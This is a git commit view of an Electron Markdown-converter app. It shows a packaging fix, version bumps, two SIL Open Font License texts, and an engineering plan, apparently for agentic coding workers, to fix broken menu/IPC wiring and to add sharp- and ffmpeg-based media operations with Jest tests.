fix(packaging): unpack @img prebuilt sharp binaries so deb ships bundled libvips

build.asarUnpack only claimed node_modules/sharp/**, so electron-builder pruned the @img/sharp-* optionalDependencies: the asar kept 34 pure-JS @img entries while the bundled libvips shared libraries never shipped. At boot sharp's loader fell back to a system-libvips-linked binding and dlopen failed, crashing the main process. Claim the prebuilt packages explicitly (@img/** and @napi-rs/**) per the sharp+electron-builder recipe, and guard the built output with a packaging regression test. Amit Haridas
fix(image): lazy-load sharp with honest degradation so boot never fails
2026-08-23 23:10:17 +05:30 · 2026-08-23 19:31:33 +05:30 · 2026-08-23 19:31:33 +05:30 · 2026-08-23 19:31:33 +05:30 · 2026-08-23 19:31:33 +05:30 · 2026-08-23 19:31:33 +05:30
92 changed files with 17399 additions and 749 deletions
@@ -6,7 +6,7 @@
 Electron desktop app for Markdown editing and universal file conversion powered by Pandoc. Cross-platform (Win/macOS/Linux). Features: multi-tab editor with live preview, 25+ themes, PDF viewer/editor (merge/split/compress/rotate/watermark/password), export to 20+ formats (PDF/DOCX/ODT/EPUB/HTML/LaTeX/RTF/PPTX), batch conversion, syntax highlighting, diagram support (Mermaid), Git integration, and a plugin system.
- **Version:** 4.4.3
+- **Version:** 4.4.5
 - **License:** MIT
 - **App ID:** `com.concreteinfo.markdownconverter`
@@ -162,4 +162,4 @@ Amit Haridas (amit.wh@gmail.com)
 ## Version
-v4.4.4
+v4.5.0
@@ -0,0 +1,93 @@
 Copyright (c) 2014, The Fira Code Project Authors (https://github.com/tonsky/FiraCode)
 This Font Software is licensed under the SIL Open Font License, Version 1.1.
 This license is copied below, and is also available with a FAQ at:
 http://scripts.sil.org/OFL
 -----------------------------------------------------------
 SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007
 -----------------------------------------------------------
 PREAMBLE
 The goals of the Open Font License (OFL) are to stimulate worldwide
 development of collaborative font projects, to support the font creation
 efforts of academic and linguistic communities, and to provide a free and
 open framework in which fonts may be shared and improved in partnership
 with others.
 The OFL allows the licensed fonts to be used, studied, modified and
 redistributed freely as long as they are not sold by themselves. The
 fonts, including any derivative works, can be bundled, embedded,
 redistributed and/or sold with any software provided that any reserved
 names are not used by derivative works. The fonts and derivatives,
 however, cannot be released under any other type of license. The
 requirement for fonts to remain under this license does not apply
 to any document created using the fonts or their derivatives.
 DEFINITIONS
 "Font Software" refers to the set of files released by the Copyright
 Holder(s) under this license and clearly marked as such. This may
 include source files, build scripts and documentation.
 "Reserved Font Name" refers to any names specified as such after the
 copyright statement(s).
 "Original Version" refers to the collection of Font Software components as
 distributed by the Copyright Holder(s).
 "Modified Version" refers to any derivative made by adding to, deleting,
 or substituting -- in part or in whole -- any of the components of the
 Original Version, by changing formats or by porting the Font Software to a
 new environment.
 "Author" refers to any designer, engineer, programmer, technical
 writer or other person who contributed to the Font Software.
 PERMISSION & CONDITIONS
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of the Font Software, to use, study, copy, merge, embed, modify,
 redistribute, and sell modified and unmodified copies of the Font
 Software, subject to the following conditions:
 1) Neither the Font Software nor any of its individual components,
 in Original or Modified Versions, may be sold by itself.
 2) Original or Modified Versions of the Font Software may be bundled,
 redistributed and/or sold with any software, provided that each copy
 contains the above copyright notice and this license. These can be
 included either as stand-alone text files, human-readable headers or
 in the appropriate machine-readable metadata fields within text or
 binary files as long as those fields can be easily viewed by the user.
 3) No Modified Version of the Font Software may use the Reserved Font
 Name(s) unless explicit written permission is granted by the corresponding
 Copyright Holder. This restriction only applies to the primary font name as
 presented to the users.
 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font
 Software shall not be used to promote, endorse or advertise any
 Modified Version, except to acknowledge the contribution(s) of the
 Copyright Holder(s) and the Author(s) or with their explicit written
 permission.
 5) The Font Software, modified or unmodified, in part or in whole,
 must be distributed entirely under this license, and must not be
 distributed under any other license. The requirement for fonts to
 remain under this license does not apply to any document created
 using the Font Software.
 TERMINATION
 This license becomes null and void if any of the above conditions are
 not met.
 DISCLAIMER
 THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
 EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF
 MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
 OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE
 COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
 INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
 DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
 FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM
 OTHER DEALINGS IN THE FONT SOFTWARE.
@@ -0,0 +1,93 @@
 Copyright 2020 The JetBrains Mono Project Authors (https://github.com/JetBrains/JetBrainsMono)
 This Font Software is licensed under the SIL Open Font License, Version 1.1.
 This license is copied below, and is also available with a FAQ at:
 https://scripts.sil.org/OFL
 -----------------------------------------------------------
 SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007
 -----------------------------------------------------------
 PREAMBLE
 The goals of the Open Font License (OFL) are to stimulate worldwide
 development of collaborative font projects, to support the font creation
 efforts of academic and linguistic communities, and to provide a free and
 open framework in which fonts may be shared and improved in partnership
 with others.
 The OFL allows the licensed fonts to be used, studied, modified and
 redistributed freely as long as they are not sold by themselves. The
 fonts, including any derivative works, can be bundled, embedded, 
 redistributed and/or sold with any software provided that any reserved
 names are not used by derivative works. The fonts and derivatives,
 however, cannot be released under any other type of license. The
 requirement for fonts to remain under this license does not apply
 to any document created using the fonts or their derivatives.
 DEFINITIONS
 "Font Software" refers to the set of files released by the Copyright
 Holder(s) under this license and clearly marked as such. This may
 include source files, build scripts and documentation.
 "Reserved Font Name" refers to any names specified as such after the
 copyright statement(s).
 "Original Version" refers to the collection of Font Software components as
 distributed by the Copyright Holder(s).
 "Modified Version" refers to any derivative made by adding to, deleting,
 or substituting -- in part or in whole -- any of the components of the
 Original Version, by changing formats or by porting the Font Software to a
 new environment.
 "Author" refers to any designer, engineer, programmer, technical
 writer or other person who contributed to the Font Software.
 PERMISSION & CONDITIONS
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of the Font Software, to use, study, copy, merge, embed, modify,
 redistribute, and sell modified and unmodified copies of the Font
 Software, subject to the following conditions:
 1) Neither the Font Software nor any of its individual components,
 in Original or Modified Versions, may be sold by itself.
 2) Original or Modified Versions of the Font Software may be bundled,
 redistributed and/or sold with any software, provided that each copy
 contains the above copyright notice and this license. These can be
 included either as stand-alone text files, human-readable headers or
 in the appropriate machine-readable metadata fields within text or
 binary files as long as those fields can be easily viewed by the user.
 3) No Modified Version of the Font Software may use the Reserved Font
 Name(s) unless explicit written permission is granted by the corresponding
 Copyright Holder. This restriction only applies to the primary font name as
 presented to the users.
 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font
 Software shall not be used to promote, endorse or advertise any
 Modified Version, except to acknowledge the contribution(s) of the
 Copyright Holder(s) and the Author(s) or with their explicit written
 permission.
 5) The Font Software, modified or unmodified, in part or in whole,
 must be distributed entirely under this license, and must not be
 distributed under any other license. The requirement for fonts to
 remain under this license does not apply to any document created
 using the Font Software.
 TERMINATION
 This license becomes null and void if any of the above conditions are
 not met.
 DISCLAIMER
 THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
 EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF
 MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
 OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE
 COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
 INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
 DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
 FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM
 OTHER DEALINGS IN THE FONT SOFTWARE.
@@ -0,0 +1,759 @@
 # Feature Audit, Bug Fixes, New Features & Security Hardening Implementation Plan
 > **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
 **Goal:** Fix every verified non-working feature in MarkdownConverter, build out the orphaned image/audio/video converter subsystem, add 9 new features extending existing architecture, remediate a critical Pandoc argument-injection vulnerability plus other security findings, then produce a clean local release build.
 **Architecture:** Vanilla JS Electron app (`contextIsolation: false`, `nodeIntegration: true`). Main process (`src/main.js`, ~5000 lines) owns all IPC handlers, dialogs, and external-tool invocation (Pandoc, ffmpeg, ImageMagick, LibreOffice) via `execFile`. Renderer (`src/renderer.js`, ~6150 lines) is vanilla DOM manipulation; it uses `ipcRenderer` both directly (legacy) and via the whitelisted `window.electronAPI` bridge (`src/preload.js`). Feature modules live under `src/main/*.js` (PDF, Git, font embedding) and `src/plugins/*.js` (plugin system). Follow this existing pattern for all new code — do not introduce a bundler, framework, or TypeScript.
 **Tech Stack:** Electron 41, Node 20, Pandoc (external binary via `getPandocPath()`), ffmpeg-static (bundled, via `getFFmpegPath()`), `sharp` (image ops, currently a devDependency — must move to `dependencies`), `pdf-lib` (`src/main/PDFOperations.js`), `simple-git` (`src/main/GitOperations.js`), Jest for tests, ESLint flat config + Prettier.
 **Spec:** This plan is self-originated from a live codebase audit (two parallel research passes + manual verification of every finding against `src/main.js`, `src/preload.js`, `src/renderer.js`, `src/main/GitOperations.js`, `src/main/PDFOperations.js`, `src/plugins/plugin-context.js`). No separate spec doc exists; each task below states the verified current behavior and the required end behavior.
 ## Global Constraints
 - `contextIsolation: false` / `nodeIntegration: true` is the existing (weak) security model for this branch — do not attempt to flip it as part of this plan; that is a separate, much larger migration tracked elsewhere. Do not make the security posture worse than it already is.
 - All new external-process invocation MUST use `execFile` with an explicit argument array — **never** build a shell-style command string and re-tokenize it. This is the root cause of Finding SEC-1 below; do not repeat the pattern anywhere new.
 - All new/changed IPC channels must be added to the correct whitelist array in `src/preload.js` (`ALLOWED_SEND_CHANNELS` for renderer→main, `ALLOWED_RECEIVE_CHANNELS` for main→renderer) — an unlisted channel is silently blocked (see `preload.js:261-282`).
 - 2-space indent, single quotes, semicolons, 100-char width (Prettier). Run `npm run lint` and `npm run format:check` before every commit; both must pass.
 - `npm test` (Jest, jsdom) must stay green (247 tests / 32 suites passing at plan start) after every task.
 - File size limit for user-opened files is `MAX_FILE_SIZE_MB = 50` (`main.js:57-58`) — reuse this constant for any new file-accepting handler, don't invent a new limit.
 - Error messages shown to the user must go through `sanitizeErrorMessage()` (`main.js:61-70`) if they might contain absolute paths.
 - No forbidden markers (`TODO`, `FIXME`, `stub`, `placeholder`, `coming soon`, etc.) in any changed file.
 ---
 ## Phase A — Fix Verified Non-Working Features
 ### Task 1: Fix "Open PDF File..." menu item (wrong IPC channel)
 **Files:**
 - Modify: `src/main.js:1666-1684` (`openPDFFile()`)
 **Verified current behavior:** `openPDFFile()` sends `mainWindow.webContents.send('open-pdf-viewer', files[0])` (line 1682). No listener for `'open-pdf-viewer'` exists anywhere in the repo. The working PDF-editor open path is `show-pdf-editor-dialog`, whose renderer listener is `ipcRenderer.on('show-pdf-editor-dialog', (event, operation, openedFilePath) => {...})` (`renderer.js:3685`).
 - [ ] **Step 1:** In `openPDFFile()`, replace the send call:
 ```javascript
 mainWindow.webContents.send('show-pdf-editor-dialog', null, files[0]);
 ```
 - [ ] **Step 2:** Manually verify: `npm start`, open a PDF via File → Open PDF File (or the equivalent menu entry), confirm the PDF editor dialog opens with the file loaded (same result as opening it via the PDF toolbar button).
 - [ ] **Step 3:** `npm run lint && npm test`
 - [ ] **Step 4:** Commit: `git add src/main.js && git commit -m "fix(pdf): route Open PDF File menu item to the working editor dialog channel"`
 ### Task 2: Fix "Clear Recent Files" silent no-op
 **Files:**
 - Modify: `src/main.js:731-736` (menu click handler), `src/main.js:4480-4491` (`ipcMain.on('clear-recent-files', ...)`)
 **Verified current behavior:** The menu click handler does `mainWindow.webContents.send('clear-recent-files')` (main→renderer), but nothing in the renderer listens for that channel. The actual deletion logic lives in `ipcMain.on('clear-recent-files', (event) => {...})`, which only fires on a renderer→main `.send`/`.invoke` that never happens from this menu path. `preload.js:342` exposes a separate `clearRecent: () => ipcRenderer.send('clear-recent-files')` helper that IS the correct renderer→main direction, but the menu item bypasses it entirely by sending the same channel name in the wrong direction.
 - [ ] **Step 1:** Extract the deletion logic into a standalone function above the `ipcMain.on` registration:
 ```javascript
 function clearRecentFilesOnDisk() {
  const userDataPath = app.getPath('userData');
  const recentFilesPath = path.join(userDataPath, 'recent-files.json');
  fs.writeFileSync(recentFilesPath, JSON.stringify([], null, 2));
  createMenu();
 }
 ```
 - [ ] **Step 2:** Update the `ipcMain.on` handler to use it:
 ```javascript
 ipcMain.on('clear-recent-files', (event) => {
  try {
    clearRecentFilesOnDisk();
    event.reply('recent-files-cleared');
  } catch (error) {
    console.error('Error clearing recent files:', error);
  }
 });
 ```
 - [ ] **Step 3:** Update the menu click handler (`main.js:731-736`) to call the main-process function directly and notify the renderer the same way the working path does:
 ```javascript
 {
  label: 'Clear Recent Files',
  click: () => {
    try {
      clearRecentFilesOnDisk();
      mainWindow.webContents.send('recent-files-cleared');
    } catch (error) {
      console.error('Error clearing recent files:', error);
    }
  },
 },
 ```
 - [ ] **Step 4:** Manually verify: open a few recent files, use File menu → Clear Recent Files, confirm the Recent Files submenu is empty afterward.
 - [ ] **Step 5:** `npm run lint && npm test`
 - [ ] **Step 6:** Commit: `git add src/main.js && git commit -m "fix(menu): make Clear Recent Files actually clear the list"`
 ### Task 3: Wire "Insert Template" submenu (content already exists, just needs a listener)
 **Files:**
 - Modify: `src/renderer.js` (near the existing `templates` sidebar-panel registration, ~line 1744-1758)
 **Verified current behavior:** `main.js:811-847` sends `mainWindow.webContents.send('load-template-menu', '<file>.md')` for 10 menu items. `'load-template-menu'` IS already in `ALLOWED_RECEIVE_CHANNELS` (`preload.js:241`) but nothing in the renderer listens for it — **however** the underlying feature is fully implemented already: `src/templates/*.md` contains real content for all 10 templates, `ipcMain.handle('load-template', ...)` (`main.js:4641-4649`) reads them, and the sidebar Templates panel (`renderer.js:1744-1758`) already does exactly the load-into-new-tab flow needed. Do not author new template content — reuse the existing flow.
 - [ ] **Step 1:** Extract the existing inline callback at `renderer.js:1746-1757` into a shared named function so both the sidebar panel and the new menu listener use it:
 ```javascript
 async function loadTemplateIntoNewTab(file) {
  const templateContent = await ipcRenderer.invoke('load-template', file);
  if (templateContent) {
    const content = templateContent.replace(/\{\{DATE\}\}/g, new Date().toISOString().split('T')[0]);
    tabManager.createNewTab();
    const tab = tabManager.tabs.get(tabManager.activeTabId);
    tabManager.setEditorContent(tab.id, content);
  }
 }
 ```
 Place this near the top of the sidebar-initialization block (wherever `tabManager` is already in scope at that point), then replace the sidebar panel's inline callback with `render: (container) => getRenderTemplatesPanel()(container, loadTemplateIntoNewTab)`.
 - [ ] **Step 2:** Add a listener for the menu channel, near the other `ipcRenderer.on(...)` registrations in the same initialization area:
 ```javascript
 ipcRenderer.on('load-template-menu', (event, file) => {
  loadTemplateIntoNewTab(file);
 });
 ```
 - [ ] **Step 3:** Manually verify: File → New from Template → Blog Post (and 2-3 others), confirm a new tab opens with the real template content, `{{DATE}}` replaced with today's date.
 - [ ] **Step 4:** `npm run lint && npm test`
 - [ ] **Step 5:** Commit: `git add src/renderer.js && git commit -m "fix(templates): wire New from Template menu to existing template-loading flow"`
 ### Task 4: Wire Command Palette / Sidebar / Bottom Panel menu toggles
 **Files:**
 - Modify: `src/renderer.js` (near command palette init ~line 2045, sidebar manager init ~line 1703, bottom/REPL panel init ~line 1007)
 **Verified current behavior:** `main.js:1047,1057-1069,1075` send `toggle-command-palette`, `toggle-sidebar-panel` (with a panel-id arg: `explorer`/`git`/`snippets`/`templates`), and `toggle-bottom-panel`. All three channels are already whitelisted in `ALLOWED_RECEIVE_CHANNELS` (`preload.js:242-244`). None have a renderer listener — the Command Palette currently only opens via its own `Ctrl+Shift+P` keydown handler (`renderer.js:2045-2049`), sidebar panels only toggle via their own buttons, and the bottom/REPL panel only auto-shows when a code block runs (`renderer.js:1007`).
 - [ ] **Step 1:** Find the existing function/method that the `Ctrl+Shift+P` keydown handler calls to open the command palette (read `renderer.js:2040-2060` to get its exact name), then add:
 ```javascript
 ipcRenderer.on('toggle-command-palette', () => {
  /* call the same open/toggle function the Ctrl+Shift+P handler uses */
 });
 ```
 - [ ] **Step 2:** Find the existing method on `sidebarManager` used to show/activate a panel by id (read the `SidebarManager` class, likely in `src/sidebar/` — grep `class SidebarManager`), then add:
 ```javascript
 ipcRenderer.on('toggle-sidebar-panel', (event, panelId) => {
  /* call sidebarManager's existing toggle/show method with panelId */
 });
 ```
 - [ ] **Step 3:** Find the existing function that shows/hides the bottom REPL panel (read `renderer.js` around line 997-1012), then add:
 ```javascript
 ipcRenderer.on('toggle-bottom-panel', () => {
  /* call the same show/hide function used when a code block runs, but toggle rather than force-show */
 });
 ```
 - [ ] **Step 4:** Manually verify each of the three View-menu items now actually opens/toggles its target.
 - [ ] **Step 5:** `npm run lint && npm test`
 - [ ] **Step 6:** Commit: `git add src/renderer.js && git commit -m "fix(menu): wire Command Palette / Sidebar / Bottom Panel View-menu toggles"`
 ### Task 5: Fix broken `git-diff` IPC call (renderer invokes a channel main never handles)
 **Files:**
 - Modify: `src/main/GitOperations.js`, `src/main.js` (near the other `git-*` handlers, ~line 4889-4904)
 - Modify: `src/sidebar/git-panel.js`, `src/renderer.js:1714-1731`
 **Verified current behavior:** `renderer.js:1718-1721` passes `gitDiff: (file) => ipcRenderer.invoke('git-diff', { file })` into the Git sidebar panel, but `src/main.js` has **no** `ipcMain.handle('git-diff', ...)` registered anywhere (only `git-status`, `git-stage`, `git-commit`, `git-log` exist at lines 4889-4904), and `GitOperations.js` exports no `diff` function. Additionally, `src/sidebar/git-panel.js:1` receives this callback as a parameter literally named `_gitDiff` (underscore-prefixed = intentionally unused) — the panel never even calls it. This is dead on both ends. Fold the real fix into Task 14 (Phase C, new git features) rather than doing a throwaway partial fix here.
 - [ ] **Step 1:** No action in this task — cross-reference only. Mark this task done once Task 14 lands, since it fully supersedes it.
 ### Task 6: Whitelist and wire "Document Compare" menu item
 **Files:**
 - Modify: `src/preload.js` (`ALLOWED_RECEIVE_CHANNELS`)
 **Verified current behavior:** `main.js:1411-1413` sends `mainWindow.webContents.send('show-document-compare')`, but `'show-document-compare'` is **not** in `ALLOWED_RECEIVE_CHANNELS` at all (unlike the other dead channels, which were at least whitelisted) — per `preload.js:288-...` the `on()` wrapper drops unlisted channels. Building the actual compare UI is Task 20 (Phase C) — this task only covers the whitelist fix; C8 covers the working listener + UI.
 - [ ] **Step 1:** Add `'show-document-compare'` to `ALLOWED_RECEIVE_CHANNELS` in `src/preload.js` (alongside the other `show-*-dialog`/`show-*-converter` entries for consistency).
 - [ ] **Step 2:** `npm run lint && npm test`
 - [ ] **Step 3:** Commit: `git add src/preload.js && git commit -m "fix(preload): whitelist show-document-compare channel"`
 - Do not close this task's manual-verification step until Task 20 lands (there is nothing to see until the listener exists).
 ### Task 7: Reachable UI control for monospace font settings
 **Files:**
 - Modify: `src/renderer.js` (Settings panel/dialog — locate existing settings UI, e.g. grep `showSettingsDialog` or similar)
 **Verified current behavior:** `ipcMain.handle('set-monospace-settings', ...)` exists and works (`main.js:375` area) and the getter is used at `renderer.js:1857`, but no UI control anywhere calls the setter — a user cannot actually change the monospace font/ligature preference.
 - [ ] **Step 1:** Read `main.js` around the `get-monospace-settings`/`set-monospace-settings` handlers to learn the exact settings shape (property names, e.g. `{ enabled, fontFamily, ligatures }` — use whatever the real shape is, do not invent fields).
 - [ ] **Step 2:** Locate the app's existing Settings panel/dialog in `renderer.js` (grep for where `get-monospace-settings` is already invoked at line ~1857 to find the surrounding UI section) and add a toggle + font-family control there, following the existing settings-control markup/CSS pattern already used for other settings in that same dialog.
 - [ ] **Step 3:** Wire the control's change handler to `ipcRenderer.invoke('set-monospace-settings', {...})` and apply the returned/echoed setting immediately (toggle the body class the same way the existing `renderer.js:1857`-area code does on load).
 - [ ] **Step 4:** Manually verify: toggle monospace font in Settings, confirm the editor/preview font changes live, and confirm the preference persists across an app restart.
 - [ ] **Step 5:** `npm run lint && npm test`
 - [ ] **Step 6:** Commit: `git add src/renderer.js && git commit -m "feat(settings): expose monospace font toggle in Settings UI"`
 ### Task 8: Dependency hygiene — `jszip` and `sharp`
 **Files:**
 - Modify: `package.json`
 **Verified current behavior:** `src/main/DocxFontEmbedder.js` and `src/main/EpubFontEmbedder.js` `require('jszip')` directly, but `jszip` is declared only under `overrides`, not `dependencies` — it currently resolves only via hoisting from a transitive dependency. `sharp` is declared under `devDependencies` (used today only by `scripts/generate-icons.js` at build time) but Phase B (media converter) will require it at **runtime** in the packaged app, where devDependencies are not installed/bundled.
 - [ ] **Step 1:** In `package.json`, add `"jszip": "^3.10.1"` to `dependencies` (matching the version already pinned in `overrides`; keep the `overrides` entry too — it still forces the version for transitive consumers).
 - [ ] **Step 2:** Move `"sharp": "^0.34.3"` from `devDependencies` to `dependencies`.
 - [ ] **Step 3:** Add `"node_modules/sharp/**"` to the `build.asarUnpack` array in `package.json` (alongside the existing `ffmpeg-static` and `assets/fonts` entries) — `sharp` ships native `.node` bindings that must not be packed into `app.asar`.
 - [ ] **Step 4:** Run `npm install` to regenerate the lockfile, then `npm test` to confirm nothing broke.
 - [ ] **Step 5:** Commit: `git add package.json package-lock.json && git commit -m "fix(deps): move jszip and sharp to runtime dependencies, unpack sharp from asar"`
 ---
 ## Phase B — Build Out Image/Audio/Video Converter (currently orphaned dead API)
 **Context:** `preload.js` whitelists 16 channels (`image-convert`, `image-batch-convert`, `image-resize`, `image-compress`, `image-rotate`, `audio-convert`, `audio-batch-convert`, `audio-extract`, `audio-trim`, `audio-merge`, `video-convert`, `video-batch-convert`, `video-compress`, `video-trim`, `video-frames`, `video-gif`) and 3 receive channels (`show-image-converter`, `show-audio-converter`, `show-video-converter`), but **zero** `ipcMain` handlers exist for any of them and no menu/UI ever triggers them. This is distinct from the already-working generic "Universal Converter" (`universal-convert`/`universal-convert-batch`, `main.js:2377-2622`) which does plain format-to-format conversion via bare `convertWithImageMagick`/`convertWithFFmpeg` calls with no operation-specific options. Phase B builds the **operation-specific** toolkit (resize/compress/rotate for images; trim/merge/extract for audio; compress/trim/frames/gif for video) as a new `src/main/MediaOperations.js` module, modeled directly on the existing `src/main/PDFOperations.js` pattern (single `executeOperation(operation, data)` dispatcher).
 ### Task 9: Image operations backend (`sharp`-based)
 **Files:**
 - Create: `src/main/ImageOperations.js`
 - Create: `tests/main/ImageOperations.test.js`
 - Modify: `src/main.js` (register handlers near the PDF operation handlers, ~line 4535)
 **Interfaces:**
 - Produces: `module.exports = { executeOperation, imageConvert, imageResize, imageCompress, imageRotate }` — `executeOperation(operation, data)` where `operation` is one of `'convert' | 'resize' | 'compress' | 'rotate'` and `data` always includes `{ inputPath, outputPath }` plus operation-specific fields below.
 - `imageConvert(data)`: `data = { inputPath, outputPath, format }` (`format` is one of sharp's supported output formats: `jpeg|png|webp|avif|tiff|gif`) → uses `sharp(inputPath).toFormat(format).toFile(outputPath)`.
 - `imageResize(data)`: `data = { inputPath, outputPath, width, height, fit }` (`fit` one of `'cover'|'contain'|'fill'|'inside'|'outside'`, default `'inside'`) → `sharp(inputPath).resize({ width, height, fit }).toFile(outputPath)`. `width`/`height` may be `null` (sharp allows omitting one dimension to preserve aspect ratio) but not both.
 - `imageCompress(data)`: `data = { inputPath, outputPath, quality }` (`quality` integer 1-100, default 80) → route by output extension: jpeg/webp/avif use `{ quality }`, png uses `{ quality, compressionLevel: 9 }`.
 - `imageRotate(data)`: `data = { inputPath, outputPath, angle }` (`angle` integer degrees, any value — sharp's `.rotate(angle)` handles non-90 multiples by expanding canvas) → `sharp(inputPath).rotate(angle).toFile(outputPath)`.
 - All four validate `inputPath` exists and is ≤ `MAX_FILE_SIZE` (import the same 50MB constant convention used in `main.js` — pass it in as a parameter from `main.js`, do not redefine a second limit).
 - All four return `{ success: true, outputPath }` on success or throw an `Error` with a sanitized (no absolute-path leakage beyond what's already the app's convention) message on failure — `main.js` wraps calls in try/catch per the PDFOperations pattern.
 - [ ] **Step 1:** Write `tests/main/ImageOperations.test.js` covering all four operations against small fixture images (generate fixtures at test time with `sharp` itself — e.g. a 100x100 red PNG buffer — do not commit binary fixtures):
 ```javascript
 const sharp = require('sharp');
 const fs = require('fs');
 const os = require('os');
 const path = require('path');
 const ImageOperations = require('../../src/main/ImageOperations');
 describe('ImageOperations', () => {
  let tmpDir, inputPath;
  beforeEach(async () => {
    tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'imgops_'));
    inputPath = path.join(tmpDir, 'in.png');
    await sharp({ create: { width: 100, height: 100, channels: 3, background: { r: 255, g: 0, b: 0 } } })
      .png()
      .toFile(inputPath);
  });
  afterEach(() => fs.rmSync(tmpDir, { recursive: true, force: true }));
  test('imageConvert converts PNG to JPEG', async () => {
    const outputPath = path.join(tmpDir, 'out.jpg');
    const result = await ImageOperations.imageConvert({ inputPath, outputPath, format: 'jpeg' });
    expect(result.success).toBe(true);
    expect(fs.existsSync(outputPath)).toBe(true);
    const meta = await sharp(outputPath).metadata();
    expect(meta.format).toBe('jpeg');
  });
  test('imageResize resizes to given width preserving aspect', async () => {
    const outputPath = path.join(tmpDir, 'out.png');
    await ImageOperations.imageResize({ inputPath, outputPath, width: 50, height: null, fit: 'inside' });
    const meta = await sharp(outputPath).metadata();
    expect(meta.width).toBe(50);
  });
  test('imageRotate rotates by given angle', async () => {
    const outputPath = path.join(tmpDir, 'out.png');
    await ImageOperations.imageRotate({ inputPath, outputPath, angle: 90 });
    const meta = await sharp(outputPath).metadata();
    expect(meta.width).toBe(100); // 90deg on square stays square
  });
  test('imageCompress produces a smaller or equal-size JPEG at low quality', async () => {
    const jpegPath = path.join(tmpDir, 'in.jpg');
    await sharp(inputPath).jpeg({ quality: 100 }).toFile(jpegPath);
    const outputPath = path.join(tmpDir, 'compressed.jpg');
    await ImageOperations.imageCompress({ inputPath: jpegPath, outputPath, quality: 10 });
    expect(fs.statSync(outputPath).size).toBeLessThanOrEqual(fs.statSync(jpegPath).size);
  });
  test('executeOperation dispatches to the correct function', async () => {
    const outputPath = path.join(tmpDir, 'out.png');
    const result = await ImageOperations.executeOperation('rotate', { inputPath, outputPath, angle: 180 });
    expect(result.success).toBe(true);
  });
  test('unknown operation throws', async () => {
    await expect(ImageOperations.executeOperation('bogus', {})).rejects.toThrow();
  });
 });
 ```
 - [ ] **Step 2:** Run `npx jest tests/main/ImageOperations.test.js` — expect FAIL (module doesn't exist).
 - [ ] **Step 3:** Implement `src/main/ImageOperations.js` per the interfaces above, using `sharp`. Model the file's shape (JSDoc header, `executeOperation` switch, `module.exports`) on `src/main/PDFOperations.js:404-436`.
 - [ ] **Step 4:** Run `npx jest tests/main/ImageOperations.test.js` — expect PASS.
 - [ ] **Step 5:** In `src/main.js`, add a single dispatcher handler near the PDF operation handler (`process-pdf-operation`, ~line 4535):
 ```javascript
 const ImageOperations = require('./main/ImageOperations');
 // ...
 ipcMain.handle('process-image-operation', async (event, { operation, data }) => {
  try {
    return await ImageOperations.executeOperation(operation, data);
  } catch (error) {
    return { success: false, error: sanitizeErrorMessage(error.message) };
  }
 });
 ```
 Note: this collapses the originally-whitelisted 5 separate channel names (`image-convert`, `image-batch-convert`, `image-resize`, `image-compress`, `image-rotate`) into one operation-dispatch channel, matching the existing `process-pdf-operation` pattern — remove the 5 stale names from `ALLOWED_SEND_CHANNELS` in `src/preload.js` and add `'process-image-operation'` in their place (also add `'select-image-folder'` if batch needs folder selection — mirror `select-pdf-folder`). Batch (`image-batch-convert`) is handled in Task 12.
 - [ ] **Step 6:** `npm run lint && npm test`
 - [ ] **Step 7:** Commit: `git add src/main/ImageOperations.js tests/main/ImageOperations.test.js src/main.js src/preload.js && git commit -m "feat(image): implement sharp-based image operations backend"`
 ### Task 10: Audio operations backend (`ffmpeg`-based)
 **Files:**
 - Create: `src/main/AudioOperations.js`
 - Create: `tests/main/AudioOperations.test.js`
 - Modify: `src/main.js`
 **Interfaces:**
 - `module.exports = { executeOperation, buildConvertArgs, buildTrimArgs, buildExtractArgs, buildMergeArgs }`. Because ffmpeg is an external binary, this module exposes **pure argument-builder functions** (easily unit-testable without invoking a real binary) plus `executeOperation`, which is the only piece that actually spawns ffmpeg via `execFile` — inject the ffmpeg path and an `execFileFn` (defaulting to Node's real `execFile`) as parameters so tests can stub it.
 - `buildConvertArgs({ inputPath, outputPath, format })` → returns `string[]` args, e.g. `['-i', inputPath, '-y', outputPath]` (format is implied by `outputPath`'s extension — ffmpeg infers it; do not pass a separate `-f` unless `format` is explicitly given and differs from the extension, in which case append `['-f', format]` before `outputPath`).
 - `buildTrimArgs({ inputPath, outputPath, startTime, duration })` → `['-i', inputPath, '-ss', String(startTime), '-t', String(duration), '-y', outputPath]`. `startTime`/`duration` are seconds (numbers), validate they are finite non-negative numbers before building args (throw `Error('Invalid trim range')` otherwise — this is the injection guard, since these become argv elements passed straight to execFile with no shell involved, but malformed values should still fail fast rather than reach ffmpeg).
